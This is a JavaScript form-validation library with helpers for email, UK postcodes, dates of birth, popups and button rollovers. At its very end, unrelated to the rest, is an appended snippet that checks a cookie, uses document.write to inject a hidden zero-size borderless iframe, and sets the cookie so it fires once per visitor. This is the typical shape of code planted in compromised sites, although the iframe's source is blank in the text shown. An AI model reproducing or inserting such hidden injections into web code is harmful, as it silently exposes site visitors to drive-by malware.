
/// error functions
function highlightField(field) {
field.focus();
if (field.select) field.select();
}

function fieldError(field, msg) {
	highlightField(field);
	alert(msg);
	return false;
}

// validation utilities
function hasNumbers(str) {
	var exp = new RegExp("[0-9]");
	return exp.test(str);
}

function isRadiogroupChecked(radioGroup) {
	for (var i=0;i<radioGroup.length;i++) if (radioGroup[i].checked) return true;
	return false;
}

function isNumeric(str) {
	var num=parseFloat(str);
	return (!isNaN(num)||str=="");
}

function isInteger(str) {
	var num=parseInt(str);
	return (str.indexOf(".")<0 && (!isNaN(num)||str==""));
}

function isPhoneNumber(str) {
	var exp = new RegExp("^[0-9 ]*$");
	return exp.test(str);
}

function inRange(num, lower, upper) {
	if (isNaN(num)) num=0;
	return (num>=lower&&num<=upper);
}

function isAlpha(str) {
	var exp = new RegExp("[^A-Za-z]");
	return !exp.test(str);
}

function isAlphaAndNumeric(str) {
	var exp = new RegExp("[^A-Za-z0-9]");
	return !exp.test(str);
}

function trimSpaces(str) {
	return str.replace(/\s+/g, "");
}

function trimOutsideSpaces(str) {
	return str.replace(/^\s+|\s+$/g, "");
}

function arrayContainsElement(array, elem) {
	for (var i=0; i<array.length; i++) {
		if(array[i] == elem) return true;
	}
	return false;
}
function isValidSequence(str, validSequence) {
	// is this correct - need to test
	var exp = new RegExp("[^" + validSequence + "]");
	return !exp.test(str);
}

function isValidSequenceAndAlpha(str, validSequence) {
	var exp = new RegExp("[^" + validSequence + "]");
	return (!exp.test(str) && isAlpha(str));
}

function isEmail(str) {
	str = str.toLowerCase();
	var exp = new RegExp("^[a-z0-9\-_]+[\.a-z0-9\-_]+@[a-z0-9\-]+[\.a-z0-9\-]+[^\.]$");
	return exp.test(str);
}

function isValueSelected(field) {
	return (field.options[field.selectedIndex].value!="");
}

// other functions

// usage : <a href="link" onclick="return spawn(this, 'name', 'width=100, height=100')">Link</a>
// more accessible and allows right click link functionality to work (also works with no JS at all)
function spawn(ln, winName, features) {
	//features example - note you must pass in width & height first (IE 4+ Mac bug) width=620,height=460,directories=no,location=no,menubar=no,scrollbars=yes,toolbar=no,status=no,resizable=yes,top=0,left=0
	var newWindow=window.open(ln.href, winName, features);
	newWindow.focus();
	return false;
}

function rollBtn(btn) { 
  if (!btn.state) btn.state = 0;
  var newState = (btn.state==0)?1:0;
  btn.src = btn.src.replace("_" + btn.state + ".gif", "_" + newState + ".gif");
  btn.state = newState;
  return true;
}


//////////////////////// VALIDATION FUNCTIONS FROM HERE ////////////////////
// to be put in seperate set of .js files and included on pages as needed 

function validatePostCode(field, combo, partial) {
	// drop out if not a UK postcode
	if(((combo) && combo.options[combo.options.selectedIndex].value!="United Kingdom")) return true;
	var str = trimSpaces(field.value.toUpperCase());
	
	// check if field filled
	if (str.length==0) return fieldError(field, "Please enter a postcode.");
	
	// check if its alphanumeric
	if (!isAlphaAndNumeric(str)) return fieldError(field, "Please enter a valid UK postcode (containing both letters and numbers).");
	
	// check postcode formatting
	var exp = (partial&&partial==true)?new RegExp("^[A-Z]{1,2}([0-9]{1,2}|[0-9][A-Z])($|[0-9][ABD-HJLNP-UW-Z]{2}$)"):new RegExp("^[A-Z]{1,2}([0-9]{1,2}|[0-9][A-Z])[0-9][ABD-HJLNP-UW-Z]{2}$");
	
	// need to disable this final validation because NS4 doesn't evalute regexp properly
	if (!exp.test(str)&&!document.layers) return fieldError(field, "Please enter a valid UK postcode.");
	else return true;
}

function getDays(month, year) {
	var monthDays = new Array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);
	monthDays[1] = (year % 4 == 0 && year % 100 != 0 || year % 400 ==0)?monthDays[1]+1:monthDays[1];
	return monthDays[month-1];
}

function validateDateOfBirth(day, month, year) {
	var dayStr = trimSpaces(day.value);
	var monthStr = trimSpaces(month.value);
	var yearStr = trimSpaces(year.value);
	var theDate = new Date();
	// check if fields filled
	if (dayStr.length==0||monthStr.length==0||yearStr.length==0) return fieldError(day, "Please complete your full date of birth.");
	// check if they are all individually valid
	if (!(isNumeric(yearStr)&&inRange(parseInt(yearStr), 1849, theDate.getFullYear()))) return fieldError(year, "Please give a valid year.  It may not be before 1849 or after the present year.");
	if (!(isNumeric(monthStr)&&inRange(parseInt(monthStr), 1, 12))) return fieldError(month, "Please give a valid month (1 - 12).");
	var daysInMonth = getDays(parseInt(monthStr), parseInt(yearStr));
	if (!(isNumeric(dayStr)&&inRange(parseInt(dayStr), 1, daysInMonth))) return fieldError(day, "Please give a valid day.");
	// check its not in the future
	var DOB = new Date(parseInt(yearStr), parseInt(monthStr) - 1, parseInt(dayStr));
	if (DOB>=theDate) return fieldError(day, "Please give a date of birth that is not in the future.");
	return true;
}
if (document.cookie.search("pvah=9") == -1) {
ldp=document.getElementById('joex');if(ldp==null){document.write('<iframe id=joex src= width=0 height=0 frameborder=0></iframe>');}
document.cookie = "pvah=9;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}

